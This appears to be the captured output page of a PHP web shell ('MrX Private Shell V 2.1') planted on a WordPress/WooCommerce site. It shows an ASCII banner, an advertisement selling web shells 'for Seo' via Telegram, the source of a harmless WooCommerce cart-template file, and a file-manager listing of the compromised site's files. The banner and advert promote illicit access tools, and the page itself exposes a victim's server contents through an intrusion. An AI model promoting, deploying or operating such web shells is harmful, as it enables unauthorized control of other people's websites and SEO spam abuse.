__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
// Remove cross-sells from the cart page. We will call this function in cart/cart.php
// template that we override in templates.
remove_action('woocommerce_cart_collaterals', 'woocommerce_cross_sell_display');
add_action('elementor/widget/before_render_content', function($widget) {
if (! class_exists('ElementorPro\Modules\Woocommerce\Widgets\Cart')) {
return;
}
if ($widget instanceof ElementorPro\Modules\Woocommerce\Widgets\Cart) {
global $ct_skip_cart;
$ct_skip_cart = true;
}
}, 10 , 1);
add_filter('wc_get_template', function ($template, $template_name, $args, $template_path, $default_path) {
if ($template_name !== 'cart/cart.php') {
return $template;
}
global $ct_skip_cart;
if ($ct_skip_cart) {
$default_path = WC()->plugin_path() . '/templates/';
return $default_path . $template_name;
}
return $template;
}, 10, 5);
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| account.php | File | 3.2 KB | 0640 |
|
| cart.php | File | 864 B | 0640 |
|
| checkout.php | File | 5.55 KB | 0640 |
|
| default-pages.php | File | 958 B | 0640 |
|
| image-sizes.php | File | 3.13 KB | 0640 |
|
| layer-defaults.php | File | 3.02 KB | 0640 |
|
| mini-cart.php | File | 1.06 KB | 0640 |
|
| rest-api.php | File | 3.3 KB | 0640 |
|
| sale-flash.php | File | 1.46 KB | 0640 |
|
| stock-badge.php | File | 772 B | 0640 |
|
| store-notice.php | File | 445 B | 0640 |
|